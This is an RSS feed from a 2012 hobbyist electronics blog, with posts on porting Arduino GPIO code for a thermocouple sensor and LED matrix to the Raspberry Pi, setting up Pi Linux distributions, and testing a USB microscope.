<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>The Brokentoaster Blog</title>
	<atom:link href="http://www.brokentoaster.com/blog/?feed=rss2" rel="self" type="application/rss+xml" />
	<link>http://www.brokentoaster.com/blog</link>
	<description>Open-source hardware and custom design from MP3 players to 3D printing.</description>
	<lastBuildDate>Thu, 31 May 2012 17:32:06 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.5.1</generator>
		<item>
		<title>Moving code from Arduino to Raspberry Pi</title>
		<link>http://www.brokentoaster.com/blog/?p=1259</link>
		<comments>http://www.brokentoaster.com/blog/?p=1259#comments</comments>
		<pubDate>Thu, 31 May 2012 17:32:06 +0000</pubDate>
		<dc:creator>Nick</dc:creator>
				<category><![CDATA[arduino]]></category>
		<category><![CDATA[AVR]]></category>
		<category><![CDATA[raspberry pi]]></category>
		<category><![CDATA[thermocouple]]></category>
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.brokentoaster.com/blog/?p=1259</guid>
		<description><![CDATA[To celebrate getting the GPIO working using WiringPi from Gordon Henderson I thought I&#8217;d have a quick look at the difference between running some code on an Arduino compared to running almost the same code on a Raspberry Pi (RasPi). It is worth noting now that the setups I&#8217;ve been using to test with are [...]]]></description>
				<content:encoded><![CDATA[<div id="attachment_1260" class="wp-caption aligncenter" style="width: 310px"><a href="http://www.brokentoaster.com/blog/wp-content/uploads/2012/05/HelloWorld.jpg"><img src="http://www.brokentoaster.com/blog/wp-content/uploads/2012/05/HelloWorld-300x199.jpg" alt="Photo: Hello world, using the WiringPi library to control an LED display." title="HelloWorld" width="300" height="199" class="size-medium wp-image-1260" /></a><p class="wp-caption-text">Photo 1: Hello world, using the WiringPi library to control an LED display.</p></div>
<p>To celebrate getting the GPIO working using <a href="https://projects.drogon.net/raspberry-pi/wiringpi/" target="_blank">WiringPi from Gordon Henderson</a> I thought I&#8217;d have a quick look at the difference between running some code on an Arduino compared to running almost the same code on a Raspberry Pi (RasPi).</p>
<p>It is worth noting now that the setups I&#8217;ve been using to test with are all powered from a separate 3.3V supply with the grounds linked. Nothing is being powered via the RasPi itself to avoid drawing too much current should I make a mistake. When working with the RasPi you should be careful as the RasPi will not take kindly to static discharge, connecting things backwards or the wrong voltage levels.</p>
<p>The really great thing about Gordon&#8217;s library is that by using it I am able to transfer Arduino code to the RasPi with only a few simple changes. Obviously not everything in the Arduino libraries are present, but the basic I/O manipulation is plenty for some simple applications.</p>
<h3>MAX6675 thermocouple interface example</h3>
<p>The <a href="http://www.maxim-ic.com/datasheet/index.mvp/id/3149" title="MAX6675 from Maxim" target="_blank">MAX6675 from Maxim</a> is an SPI Bus based thermocouple convertor that I built a breakout board for a while back. You can find out more information about that project <a href="http://www.brokentoaster.com/blog/?p=203" title="MAX6675 Thermocouple breakout board (TC-6675)" target="_blank">in this earlier post</a>.</p>
<p>As a simple test I took the basic example from <a href="https://github.com/ryanjmclaughlin/MAX6675-Library" target="_blank">the MAX6675 thermocouple interface library</a> and adapted it to run with the WiringPi library on the RasPi.</p>
<p>I initially ported the example and library to C as the WiringPi was in C and I had a couple of issues compiling mixed C and C++ properly. After a bit of investigation I found that when explicitly including the libraries as C the compiling problems go away.  Below is an example of how to modify the <code>wiringPi.h</code> file to ensure it is included as C and not C++. Gordon has said he will make this change to the library on the next release. Once I had sorted out the makefile to use g++ rather than gcc I was able to compile and link successfully.</p>
<p><em>Listing 1: Explicitly declaring a header file as C</em></p>
<hr/>
<pre class="brush: plain; title: ; notranslate">
 #ifdef __cplusplus
 extern &quot;C&quot; {
 #endif
  
 // wiringPi.h Code goes Here 
 //  or 
 // #include &lt;wiringPi.h&gt;

 #ifdef __cplusplus
 }
 #endif
</pre>
<p>While compiling and linking of the example was now okay, the next problem was that when run, the program just exited with a &#8220;<code><a href="http://en.wikipedia.org/wiki/Segmentation_fault" title="segfault">Segmentation Fault</a></code>&#8221; (segfault). I didn&#8217;t even see the error message when running as root with <code>sudo</code>, it was only when running as the standard user (pi) that it became apparent that something was wrong with the software rather than the hardware. </p>
<p>When I had run previous examples as the standard user I would see a permissions related error complaining that the program could not access the &#8220;<code>/dev/mem/</code>&#8221; device. This error comes from the part of the WiringPi library that sets up memory access to the hardware registers in the Broadcom BCM2835. This clue told me that the <code>wiringPiSetup</code> routine was not being run. This in turn showed me that the global object representing the temperature sensor was being constructed <em>before</em> the WiringPi library was being setup.</p>
<p>The solution to this particular problem was simple enough. I edited the MAX6675 library so that it calls <code>wiringPiSetup</code> directly when initialising. I also set an internal flag if this succeeds. In addition to this I modified the methods to exit with an error if the flag has not been set. This means that none of the MAX6675 library methods should ever call WiringPi functions without the appropriate initialisation having taken place and succeeded beforehand. My code for this example is <a href="http://www.brokentoaster.com/RasPi/files/Single_cpp.zip" title="Raspberry Pi MAX6675 Example">here</a>. A more general solution might be to add this flag to the WiringPi library itself.</p>
<h3>LED Display (MLMC) and Temperature Combined Example</h3>
<p>Following my success with the temperature sensor I decided to push the boat out a little further and try to interface to my MLMC LED display system.</p>
<p>The MLMC LED display is a set of LED dot matrix control PCBs I designed to use up some unusual LED modules I had lying about. You can get the <a href="http://www.brokentoaster.com/blog/?p=1056" target="_blank">full story in this blog post</a> or on the <a href="http://www.brokentoaster.com/mlmc/" title="Modular LED Matrix Controller website">website</a>.</p>
<div id="attachment_1261" class="wp-caption aligncenter" style="width: 310px"><a href="http://www.brokentoaster.com/blog/wp-content/uploads/2012/05/Temperature.jpg"><img src="http://www.brokentoaster.com/blog/wp-content/uploads/2012/05/Temperature-300x199.jpg" alt="Photo:  Using the WiringPi library to control an LED display and Thermocouple interface" title="Temperature" width="300" height="199" class="size-medium wp-image-1261" /></a><p class="wp-caption-text">Photo 2:  Using the WiringPi library to control an LED display and thermocouple interface</p></div>
<p>This was a simple demonstration with the RasPi reading from the thermocouple interface and then displaying the temperature on the display. For this example I wrote everything in C. The MLMC interface is very simple and involves clocking 16 bit words of data using two pins, one for data and one for clock. Each word represents a single column on the LED display. This low speed (~5Kbps) synchronous protocol was originally implemented by directly manipulating the digital I/O pins on the Arduino and so was very simple to port to the RasPi with the WiringPi library.</p>
<p>While the ported program functions very well, the waveforms obtained from the RasPi are quite different to those achieved with the Arduino. This is a good example of how the same simple code can be quite different when ported between platforms.</p>
<h4>MLMC Clock Waveforms</h4>
<p>The function used to send serial data to the MLMC is shown below. This code has a 75&micro;s delay between switching the level of the clock and this gave uniform pulses on both systems. The pulses also appeared consistent from one run to another.</p>
<p><em>Listing 2: MLMC serial data sending routine</em></p>
<hr/>
<pre class="brush: cpp; title: ; notranslate">
const int spidelay_us =75;

void Send_byte( char data ///&lt; 8 bit data to be sent
			   ) {
    uint8_t temp;	// local copy of the data to be shifted out
    uint8_t i;					
	
    temp = data;	
    for (i=0; i&lt;8; i++) {
		// start the cycle with the clock pin low
        digitalWrite(clockPin, LOW);

		// clock out a single byte
        if (temp &amp; (1&lt;&lt;7)) {
            digitalWrite(dataPin, HIGH);
        } else {
            digitalWrite(dataPin, LOW);
        }
        
		// wait for data bit to be set up
		delayMicroseconds(spidelay_us);
        
		// clock the data out by producing a rising edge
        digitalWrite(clockPin,HIGH); 
		
		// wait for mlmc to read the data bit in 
        delayMicroseconds(spidelay_us);
		
        // shift data along by one
        temp &lt;&lt;= 1;
    }
	
	// leave both pins low when idle 
    digitalWrite(clockPin, LOW);
    digitalWrite(dataPin, LOW);
}
</pre>
<p>The following scope traces are the result of executing Listing 2 on the Arduino:</p>
<div id="attachment_1278" class="wp-caption aligncenter" style="width: 330px"><a href="http://www.brokentoaster.com/blog/wp-content/uploads/2012/05/Arduino3-MAX6675-clock.png"><img src="http://www.brokentoaster.com/blog/wp-content/uploads/2012/05/Arduino3-MAX6675-clock.png" alt="Clock pulses from the Arduino to the MLMC modules" title="Arduino3-MLMC-clock" width="320" height="234" class="size-full wp-image-1278" /></a><p class="wp-caption-text">Figure 1: Clock pulses from the Arduino to the MLMC modules</p></div>
<div id="attachment_1277" class="wp-caption aligncenter" style="width: 330px"><a href="http://www.brokentoaster.com/blog/wp-content/uploads/2012/05/Arduino2-MAX6675-firstpulse.png"><img src="http://www.brokentoaster.com/blog/wp-content/uploads/2012/05/Arduino2-MAX6675-firstpulse.png" alt="Single clock pulse from the Arduino to the MLMC modules" title="Arduino2-MLMC-firstpulse" width="320" height="234" class="size-full wp-image-1277" /></a><p class="wp-caption-text">Figure 2: Single clock pulse from the Arduino to the MLMC modules</p></div>
<p>Arduino has a total pulse time of approximately 80&micro;s for the first clock pulse to MLMC. This extra 5&micro;s I assign to the time taken to call the digitalWrite function, a single shift operation and iterating the for-loop.</p>
<p>The next two traces in figure 3 and figure 4 are produced when running the same code on the RasPi:</p>
<div id="attachment_1283" class="wp-caption aligncenter" style="width: 330px"><a href="http://www.brokentoaster.com/blog/wp-content/uploads/2012/05/RasPi2-mlmc-clock.png"><img src="http://www.brokentoaster.com/blog/wp-content/uploads/2012/05/RasPi2-mlmc-clock.png" alt="Clock pulses from the Raspberry Pi to the MLMC modules" title="RasPi2-mlmc-clock" width="320" height="234" class="size-full wp-image-1283" /></a><p class="wp-caption-text">Figure 3: Clock pulses from the Raspberry Pi to the MLMC modules</p></div>
<div id="attachment_1284" class="wp-caption aligncenter" style="width: 330px"><a href="http://www.brokentoaster.com/blog/wp-content/uploads/2012/05/RasPi3-mlmc-clockpulse.png"><img src="http://www.brokentoaster.com/blog/wp-content/uploads/2012/05/RasPi3-mlmc-clockpulse.png" alt="Single clock pulse from the Raspberry Pi to the MLMC modules" title="RasPi3-mlmc-clockpulse" width="320" height="234" class="size-full wp-image-1284" /></a><p class="wp-caption-text">Figure 4: Single clock pulse from the Raspberry Pi to the MLMC modules</p></div>
<p>You can notice that while the pulses look identical at a quick glance the RasPi has 150&micro;s pulse width; almost double that of the Arduino. I assume that the <code>delayMicroseconds</code> function, which only guarantees that a minimum of the given microseconds have elapsed before returning, is releasing control to the operating system and coming back a lot later than expected. As the delay implementation in the WiringPi library simply calls <code>nanosleep</code> I am surprised this operation takes twice as long. There may be a number of causes for this behaviour:</p>
<ul>
<li>There might be a bug in the way the delay function is implemented.</li>
<li>The shift and for-loop iteration might have compiled in a very inefficient way.</li>
<li>The operating system simply cannot schedule other tasks quickly enough to return from <code>nanosleep</code> and meet our expectations.</li>
</ul>
<h4>MAX6675 thermocouple interface</h4>
<p>This loop was clocking data in from the MAX6675 chip via a &#8220;bit-banged&#8221; interface. The main loop did not have a delay and was toggling bits as quickly as possible while shifting in the value via a single GPIO pin.</p>
<p><em>Listing 3: SPI send section from the MAX6675 library</em></p>
<hr/>
<pre class="brush: cpp; title: ; notranslate">
digitalWrite(_CS_pin,LOW); // Enable device

/* Cycle the clock for dummy bit 15 */
digitalWrite(_SCK_pin,HIGH);
digitalWrite(_SCK_pin,LOW);

/* Read bits 14-3 from MAX6675 for the Temp 
 Loop for each bit reading the value and 
 storing the final value in 'temp' 
 */
for (int bit=11; bit&gt;=0; bit--){
	digitalWrite(_SCK_pin,HIGH);  // Set Clock to HIGH
	value += digitalRead(_SO_pin) &lt;&lt; bit;  // Read data and add it to our variable
	digitalWrite(_SCK_pin,LOW);  // Set Clock to LOW
}

/* Read the TC Input inp to check for TC Errors */
digitalWrite(_SCK_pin,HIGH); // Set Clock to HIGH
error_tc = digitalRead(_SO_pin); // Read data

digitalWrite(_SCK_pin,LOW);  // Set Clock to LOW
digitalWrite(_CS_pin, HIGH); // Disable Device

</pre>
<p>The following traces in figure 5 and figure 6 show the results on the Arduino.</p>
<div id="attachment_1279" class="wp-caption aligncenter" style="width: 330px"><a href="http://www.brokentoaster.com/blog/wp-content/uploads/2012/05/Arduino4-mlmc-clock.png"><img src="http://www.brokentoaster.com/blog/wp-content/uploads/2012/05/Arduino4-mlmc-clock.png" alt="Clock pulses from the Arduino to the MAX6675 modules" title="Arduino4-mlmc-clock" width="320" height="234" class="size-full wp-image-1279" /></a><p class="wp-caption-text">Figure 5: Clock pulses from the Arduino to the MAX6675</p></div>
<div id="attachment_1280" class="wp-caption aligncenter" style="width: 330px"><a href="http://www.brokentoaster.com/blog/wp-content/uploads/2012/05/Arduino5-mlmc-firstpulse.png"><img src="http://www.brokentoaster.com/blog/wp-content/uploads/2012/05/Arduino5-mlmc-firstpulse.png" alt="Single clock pulse from the Arduino to the MAX6675 modules" title="Arduino5-mlmc-firstpulse" width="320" height="234" class="size-full wp-image-1280" /></a><p class="wp-caption-text">Figure 6: Single clock pulse from the Arduino to the MAX6675</p></div>
<p>On the Arduino this code gave a uniform pulse train with the pulse widths measuring approximately 6-7&micro;s. As the Arduino is running at 16Mhz I would like to think this could be optimised a lot more to get something like 120ns if I used some assembly or bypassed the Wiring/Arduino API, but that is an exercise for another blog post. <img src='http://www.brokentoaster.com/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<div id="attachment_1281" class="wp-caption aligncenter" style="width: 330px"><a href="http://www.brokentoaster.com/blog/wp-content/uploads/2012/05/RasPi0-MAX6675-clock.png"><img src="http://www.brokentoaster.com/blog/wp-content/uploads/2012/05/RasPi0-MAX6675-clock.png" alt="Clock pulses from the Raspberry Pi to the MAX6675 modules" title="RasPi0-MAX6675-clock" width="320" height="234" class="size-full wp-image-1281" /></a><p class="wp-caption-text">Figure 7: Clock pulses from the Raspberry Pi to the MAX6675</p></div>
<div id="attachment_1282" class="wp-caption aligncenter" style="width: 330px"><a href="http://www.brokentoaster.com/blog/wp-content/uploads/2012/05/RasPi1-MAX6675-clockpulse.png"><img src="http://www.brokentoaster.com/blog/wp-content/uploads/2012/05/RasPi1-MAX6675-clockpulse.png" alt="Close-up clock pulses from the Raspberry Pi to the MAX6675 modules" title="RasPi1-MAX6675-clockpulse" width="320" height="234" class="size-full wp-image-1282" /></a><p class="wp-caption-text">Figure 8: Close-up clock pulses from the Raspberry Pi to the MAX6675</p></div>
<p>The RasPi on the other hand gave a very non-uniform pulse train. As this is synchronous communication, the clock does not need to be uniform, it dictates when the data line is read. The average pulse in this waveform is only 150ns wide which is approximately 48 times faster than the Arduino. Given that the RasPi clock speed of 700MHz is roughly 44 times faster then the Arduino clock speed of 16MHz, this makes sense. </p>
<p>The RasPi would vary any individual pulse length by up to a factor of two (from observation) but did not seem to be effected by increasing the load (multiple <code>ssh</code> sessions and running an <code>openssl</code> speed test). The RasPi would also continue to run the MLMC scrolling display and reading the temperature sensor without issues while another process was also reading the temperature sensor at the same time (<code>single_temp.cpp</code> from first example above). Even while <code>openssl</code> was doing speed testing (cpu usage at 98-99%) the visible operation of the screen was not effected.</p>
<h4>Investigating Further</h4>
<p>The long delay and changing pulse widths could be investigated further with a couple of short programs.</p>
<p>I could investigate the long <code>delay</code> further by looking at repeating the test with the system under different loads and noting the effect on the width and consistency of the pulses. To vary the workload on the RasPi I could use a tool like <code><a href="http://weather.ou.edu/~apw/projects/stress/" title="stress">stress</a></code>.</p>
<p>We could also step through many values while keeping the system load constant. This would give us an idea if their was a minimum overhead experienced by the delay function or if their was some sort of error in the calibration.</p>
<p>I will leave these as an exercise for another day as <a href="http://kernel.org/doc/ols/2008/ols2008v2-pages-57-66.pdf">plenty of work has already been done on this sort thing before</a>, although not specifically on the RasPi.</p>
<h3>Conclusions</h3>
<p>This was a very quick look into porting code from Arduino to Raspberry Pi. I found that it was not so difficult to port some very simple applications, the majority of the code would simply run unchanged.</p>
<p>While the code may compile and run, the actual operation of the code will always need to be checked carefully for timing issues and other unexpected behaviour when switching hardware and using new library implementations.</p>
<p>As these systems were using synchronous serial communication the exact shape of the waveforms did not actually need to be uniform for the system to work. </p>
<p>On review of the MAX6675 data sheet the timings slighty exceed the stated maximum clock freq of 4.3Mhz. So If I was intending to use this further I would introduce a short delay into the MAX6675 clock routine to ensure it complies with the data sheet. </p>
<p>The MLMC module operates perfectly with the timings achieved but we are operating at half the throughput we expected due to the delay function not operating identically to the same function on the Arduino. While this didn&#8217;t cause a problem in this simple test it could easily have done so in a slightly more complicated system.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.brokentoaster.com/blog/?feed=rss2&#038;p=1259</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>The Raspberry Pi has arrived!</title>
		<link>http://www.brokentoaster.com/blog/?p=1187</link>
		<comments>http://www.brokentoaster.com/blog/?p=1187#comments</comments>
		<pubDate>Tue, 15 May 2012 20:09:15 +0000</pubDate>
		<dc:creator>Nick</dc:creator>
				<category><![CDATA[raspberry pi]]></category>
		<category><![CDATA[reprap]]></category>

		<guid isPermaLink="false">http://www.brokentoaster.com/blog/?p=1187</guid>
		<description><![CDATA[After months of anticipation my Raspberry Pi (RasPi) arrived last week. So I spent a little bit of time putting it through its paces. After waiting for the last couple of months I had a short list of things I wanted to test immediately: Operating System First order of business was to boot up and [...]]]></description>
				<content:encoded><![CDATA[<div id="attachment_1189" class="wp-caption alignright" style="width: 209px"><a href="http://www.brokentoaster.com/blog/wp-content/uploads/2012/05/RaspberryPI-case.jpg"><img src="http://www.brokentoaster.com/blog/wp-content/uploads/2012/05/RaspberryPI-case-199x300.jpg" alt="A Raspberry Pi in its freshly printed case" title="RaspberryPI-case" width="199" height="300" class="size-medium wp-image-1189" /></a><p class="wp-caption-text">Raspberry Pi in its printed case</p></div>
<p>After months of anticipation my Raspberry Pi (RasPi) arrived last week. So I spent a little bit of time putting it through its paces. After waiting for the last couple of months I had a short list of things I wanted to test immediately:</p>
<h3>Operating System</h3>
<p>First order of business was to boot up and try out the various distributions currently offered.   On first boot I was a little disappointed to find the RasPi had a few issues with my SD card.   When booting the Debian distribution I saw lots of errors when booting.   The errors were &#8220;<code>mmc0: Too large timeout requested for CMD38!</code>&#8221; which I believe are to do with the time the card takes to erase blocks. The card was one I bought very cheaply at a market when I was on holiday in Italy a few years ago so I wasn&#8217;t that surprised to see it fail.  When I switched to a newer card it behaved normally and the errors disappeared.  The SD card images are available from the <a href="http://www.raspberrypi.org/Downloads">Raspbery Pi downloads page</a> via bit-torrent.</p>
<h4>Debian &#8220;Squeeze&#8221;</h4>
<p>This is the recommended install and comes with an X-Windows GUI using a fast, light-weight desktop environment (called LXDE). The image booted into the standard text mode login prompt.  After logging in I started the GUI by typing <code>startx</code>. I was a little surprised to find the ssh server not running by default but that was easily fixed. As I don&#8217;t have any HD TVs around, the composite video output works fine but its not ideal to do command-line work. By starting up ssh I&#8217;m able to login and develop on the RasPi using my laptop or other computer.</p>
<p>To start the ssh server for the current session you can type the following into the command prompt via a USB keyboard:</p>
<pre class="brush: plain; title: ; notranslate">
sudo service ssh start
</pre>
<p>To ensure this service is started every time the RasPi is powered up type the following: </p>
<pre class="brush: plain; title: ; notranslate">
sudo update-rc.d -f ssh defaults 20
</pre>
<p>I also installed a couple of utilities for later testing out the RasPi:</p>
<pre class="brush: plain; title: ; notranslate">
sudo apt-get install screen 
sudo apt-get install minicom
</pre>
<p>Other than the ssh daemon not being run at boot and having to login and manually start the GUI this distribution behaved as I expected. It&#8217;s standard Debian and behaves as such, being able to apt-get anything I tried from the repositories without problems.</p>
<h4>Arch Linux ARM</h4>
<p>I&#8217;ve not worked with this distribution before so didn&#8217;t do much more than boot up and see what was installed.  As expected this booted into text mode as there is no GUI installed at all. As ssh was running and the Ethernet interface was working out of the box I was able to log in remotely and poke about without any problems. </p>
<p>This is a very basic install, without even another user other than root. I like this cut down system as it seemed very fast with a low memory (both RAM and SD card) footprint. It looks like it will be a good starting point for an embedded server project. Having no experience with the <a href="https://wiki.archlinux.org/index.php/Pacman">pacman</a> package management system I didn&#8217;t investigate very much at all, but think I think I will have another look at this distribution in the near future.</p>
<h4>QtonPi</h4>
<p>The QtonPi image was the largest of the three images to download, but that is because as well as an image for the SD card it also contains the cross-compilers needed to develop for  embedded Qt on ARM via your standard x86 Linux machine. In addition to the compilers and Qt libraries it also contains tools for making new SD card images.</p>
<p>This image is based on Fedora 14 and booted into the console as with the previous two images. This distribution also didn&#8217;t have an ssh server running by default. To get ssh working on I needed to bring up the ethernet interface by typing:</p>
<pre class="brush: plain; title: ; notranslate">
ifup eth0
</pre>
<p>After getting this sorted I was able to ssh into the RasPi. To ensure this happens every boot I edited the file <code>/etc/sysconfic/network-scripts/ifcfg-eth0</code>, changing the <code>ONBOOT</code> option to <code>YES</Code>:</p>
<pre class="brush: plain; title: ; notranslate">ONBOOT=YES</pre>
<p>I also changed my timezone by doing the following:</p>
<pre class="brush: plain; title: ; notranslate">
mv  /etc/locatime  /etc/locatime.original
ln -sf /usr/share/zoneinfo/Europe/London /etc/locatime
</pre>
<p>This is helpful when looking through logs or trying to figure out what files you just changed.</p>
<p>Like the Arch Linux image previously mentioned this distribution also had no X-Windows GUI installed. This image is designed to use the Qt libraries to draw direct to the framebuffer. This is great for embedded systems as you don't have the overhead of a full X-Windows installation.</p>
<p>After following the QtonPi "getting started" instructions from <a href="http://wiki.qt-project.org/QtonPi" title="here">here</a> I could not get the Qt5 "Hello World" example to do any more than produce a white screen. Poking about the system I found some examples already on the card. Some of these "segfaulted" when run while others appeared to have the framebuffer off-centre and while displaying a little text, would not operate as intended.</p>
<p>The workflow for this project seems very nice and well thought through. Developing on the host and then automatically running on the target seemed very slick from within the QtCreator IDE. I look forward to working with it as the Qt5 platform matures.</p>
<p><em><strong>NOTE: the QtonPi wiki pages seem to be moving about so here is a link to the <a href="http://webcache.googleusercontent.com/search?q=cache:UiEojzErUAsJ:wiki.qt-project.org/QtonPi/Create+http://wiki.qt-project.org/QtonPi&amp;cd=3&amp;hl=en&amp;ct=clnk&amp;gl=uk&amp;client=safari" class="broken_link">Google cache</a> version of instructions I followed.</strong><br />
</em></p>
<h3>An Enclosure</h3>
<p>The second order of business now that I had an operating system was to get a case printed. I chose v12 of <a href="http://www.thingiverse.com/thing:16104" title="Thing 16104">"thing" 16104</a> with the large Raspberry Pi themed ventilation holes. It printed okay but it took a couple of attempts with <a href="http://slic3r.org/" title="Slic3r">slic3r</a> to get it to slice the thin walls correctly. </p>
<p>I also needed to move a couple of the connectors to make things fit nicely. I did this the old fashioned way with a file and knife but altering the <a href="http://www.openscad.org/">OpenSCAD</a> model looks pretty straight forward, so I'll probably do that before I print more cases for other people.</p>
<h3>USB Serial Drivers</h3>
<p>Third on my hit list was to check the drivers are present to talk to my <a href="http://reprap.org">RepRap</a> 3D printer and other serial bits and pieces I have lying about. Both prolific USB to serial (PL2303) and FTDI seem to work fine. I didn't test the devices thoroughly, I simply noted that the drivers was installed and new <code>/dev/ttyUSBx</code> device was created when I plugged them in. I'll probably look at using the GPIO to control my RepRap and other electronics directly but for the immediate future, serial comms to an Arduino will do just fine.</p>
<h3>General Purpose I/O (GPIO)</h3>
<p>Last on my list was GPIO. I would like to use the RasPi as a real-time controller in embedded systems so I am quite curious to see if I can do anything useful with the GPIO. Later I plan to use it to drive the RepRap directly so I can repurpose my Linux machine in the workshop to do greater things without interrupting the printing process.</p>
<p>While using the information from <a href="http://elinux.org/Rpi_Low-level_peripherals">http://elinux.org/Rpi_Low-level_peripherals</a> I wasn't able to get anything to happen on the GPIO but as this was a late night investigation I'll assume there was something simple I overlooked. </p>
]]></content:encoded>
			<wfw:commentRss>http://www.brokentoaster.com/blog/?feed=rss2&#038;p=1187</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>USB Microscope</title>
		<link>http://www.brokentoaster.com/blog/?p=1143</link>
		<comments>http://www.brokentoaster.com/blog/?p=1143#comments</comments>
		<pubDate>Sun, 08 Apr 2012 18:12:22 +0000</pubDate>
		<dc:creator>Nick</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.brokentoaster.com/blog/?p=1143</guid>
		<description><![CDATA[I have just purchased a Veho USB microscope and am quite pleased with the result. I was hoping to use this as a very cheap replacement for a good binocular microscope. When soldering very fine pitch surface mount devices for prototype or repair a good binocular scope is fantastic for soldering under. Below is a [...]]]></description>
				<content:encoded><![CDATA[<p>I have just purchased a <a href="http://www.veho-uk.com/main/shop.aspx?category=usbmicroscope" title="Veho USB Microscope" target="_blank">Veho USB microscope</a> and am quite pleased with the result.  I was hoping to use this as a very cheap replacement for a good binocular microscope.  When soldering very fine pitch surface mount devices for prototype or repair a good binocular scope is fantastic for soldering under. </p>
<p>Below is a video test of me upgrading the ATtiny261 to ATtiny861 on my <a href="http://www.brokentoaster.com/blog/?p=1056" title="Modular LED Matrix Controller version 1.0" target="_blank">MLMC</a> controller PCB. While the system is reasonably good for soldering it is excellent for inspecting finished the finished work.</p>
<div class="wp-caption aligncenter" style="width: 490px"><object width="480" height="360"><param name="movie" value="http://www.youtube.com/v/_TAwVVv_14Y?version=3&amp;hl=en_US&amp;rel=0"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/_TAwVVv_14Y?version=3&amp;hl=en_US&amp;rel=0" type="application/x-shockwave-flash" width="480" height="360" allowscriptaccess="always" allowfullscreen="true"></embed></object><p class="wp-caption-text">Microscope Video Test at 22x magnification</p></div>
<p>I took a couple of test pictures using the Windows software (Microcapture). These are shown below. The software lets you draw in measurements based on the magnification which is entered manually. It&#8217;s not the greatest but it is nice and functional.</p>
<div id="attachment_1151" class="wp-caption aligncenter" style="width: 310px"><a href="http://www.brokentoaster.com/blog/wp-content/uploads/2012/04/22x.jpg"><img src="http://www.brokentoaster.com/blog/wp-content/uploads/2012/04/22x-300x225.jpg" alt="" title="Microscope Test at 22x magnification" width="300" height="225" class="size-medium wp-image-1151" /></a><p class="wp-caption-text">Microscope Photo Test at 22x magnification</p></div>
<p>This shows the mm scale on my steel ruler.</p>
<div id="attachment_1152" class="wp-caption aligncenter" style="width: 310px"><a href="http://www.brokentoaster.com/blog/wp-content/uploads/2012/04/400x.jpg"><img src="http://www.brokentoaster.com/blog/wp-content/uploads/2012/04/400x-300x225.jpg" alt="Microscope Test at 400x Magnification" title="Microscope Test at 400x Magnification" width="300" height="225" class="size-medium wp-image-1152" /></a><p class="wp-caption-text">Microscope Photo Test at 400x Magnification</p></div>
<p>This shows the 0.5mm scale elsewhere on the same ruler. </p>
<div id="attachment_1153" class="wp-caption aligncenter" style="width: 310px"><a href="http://www.brokentoaster.com/blog/wp-content/uploads/2012/04/hires.jpg"><img src="http://www.brokentoaster.com/blog/wp-content/uploads/2012/04/hires-300x225.jpg" alt="High Resolution Photo Test at 20x magnification" title="Hires PCB Photo Test" width="300" height="225" class="size-medium wp-image-1153" /></a><p class="wp-caption-text">High Resolution Photo Test at 20x magnification</p></div>
<p>I have tested the device on Windows XP, MacOS 10.7, Fedora15. On Linux I had a few issues  that later turned out to be a faulty USB hub. In playing around to get the scope to work on Linux I discovered the great <a href="http://guvcview.sourceforge.net/">GTK+ UVC Viewer</a> program.  As all three operating systems have &#8220;USB Video Class&#8221; drivers everything worked out of the box (hub issues aside).  </p>
<p>If Linux does give you any grief you may need to do a <tt>modprobe uvcvideo</tt>. I didn&#8217;t need to do this as I have another webcam plugged in as well that uses the same driver. </p>
<p>I&#8217;m not sure what tricks the Windows driver uses to get the higher resolution as these modes did not seem to work on other platforms. If anyone knows how to get the high resolution modes working on Linux or OS X I would love to hear from you.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.brokentoaster.com/blog/?feed=rss2&#038;p=1143</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Modular LED Matrix Controller version 1.0</title>
		<link>http://www.brokentoaster.com/blog/?p=1056</link>
		<comments>http://www.brokentoaster.com/blog/?p=1056#comments</comments>
		<pubDate>Sun, 11 Mar 2012 22:56:40 +0000</pubDate>
		<dc:creator>Nick</dc:creator>
				<category><![CDATA[arduino]]></category>
		<category><![CDATA[AVR]]></category>
		<category><![CDATA[thermocouple]]></category>

		<guid isPermaLink="false">http://www.brokentoaster.com/blog/?p=1056</guid>
		<description><![CDATA[I have finally motivated myself to publish my firmware and PCB designs for the MLMC on github. The design is functional and I have a set of five modules chained together sitting on my workbench. They happily display the current temperature via an Arduino and the MAX6675 based Thermocouple board I designed previously. All the [...]]]></description>
				<content:encoded><![CDATA[<div id="b" class="wp-caption aligncenter" style="width: 310px"><a href="http://www.brokentoaster.com/mlmc/photos/IMG_9337.jpg"><img alt=" An Arduino driving 5 MLMC modules displaying the current temperature" src="http://www.brokentoaster.com/mlmc/photos/IMG_9337.jpg" title="MLMC v1.0" width="300" /></a><p class="wp-caption-text"> An Arduino driving five MLMC modules displaying the current temperature</p></div>
<p> I have finally motivated myself to publish my firmware and PCB designs for the MLMC on github. The design is functional and I have a set of five modules chained together sitting on my workbench. They happily display the current temperature via an Arduino and <a title="MAX6675 Thermocouple breakout board (TC-6675)" href="http://www.brokentoaster.com/blog/?p=203">the MAX6675 based Thermocouple board I designed previously</a>.</p>
<p> All the files for the project are currently published on github at <a title="MLMC Project on GitHub" href="https://github.com/brokentoaster/MLMC">https://github.com/brokentoaster/MLMC</a>.</p>
